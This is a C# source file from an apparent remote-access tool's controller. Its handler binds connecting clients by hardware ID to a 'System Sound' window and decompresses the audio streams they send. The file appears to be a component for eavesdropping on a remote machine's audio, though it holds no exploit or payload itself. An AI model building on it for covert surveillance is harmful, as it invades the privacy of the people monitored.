57 lines
1.3 KiB
C#
57 lines
1.3 KiB
C#
using System.IO;
|
|||
|
|
using System.IO.Compression;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
using Server.Connectings;
|
||
|
|
using Server.Forms;
|
||
|
|
|
||
|
|
namespace Server.Messages;
|
||
|
|
|
||
|
|
internal class HandlerSystemSound
|
||
|
|
{
|
||
|
|
public static void Read(Clients client, object[] objects)
|
||
|
|
{
|
||
|
|
string text = (string)objects[1];
|
||
|
|
if (!(text == "Connect"))
|
||
|
|
{
|
||
|
|
if (text == "Sound")
|
||
|
|
{
|
||
|
|
if (client.Tag == null)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
((FormSystemSound)client.Tag).Buffer(Decompress((byte[])objects[2]));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
FormSystemSound form = (FormSystemSound)Application.OpenForms["SystemSound:" + (string)objects[2]];
|
||
|
|
if (form == null)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
form.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
form.Text = "System Sound [" + (string)objects[2] + "]";
|
||
|
|
form.client = client;
|
||
|
|
form.trackBar1.Enabled = true;
|
||
|
|
form.materialSwitch1.Enabled = true;
|
||
|
|
});
|
||
|
|
client.Tag = form;
|
||
|
|
client.Hwid = (string)objects[2];
|
||
|
|
}
|
||
|
|
|
||
|
|
private static byte[] Decompress(byte[] inputBytes)
|
||
|
|
{
|
||
|
|
using MemoryStream stream = new MemoryStream(inputBytes);
|
||
|
|
using MemoryStream memoryStream = new MemoryStream();
|
||
|
|
using (DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress))
|
||
|
|
{
|
||
|
|
deflateStream.CopyTo(memoryStream);
|
||
|
|
}
|
||
|
|
return memoryStream.ToArray();
|
||
|
|
}
|
||
|
|
}
|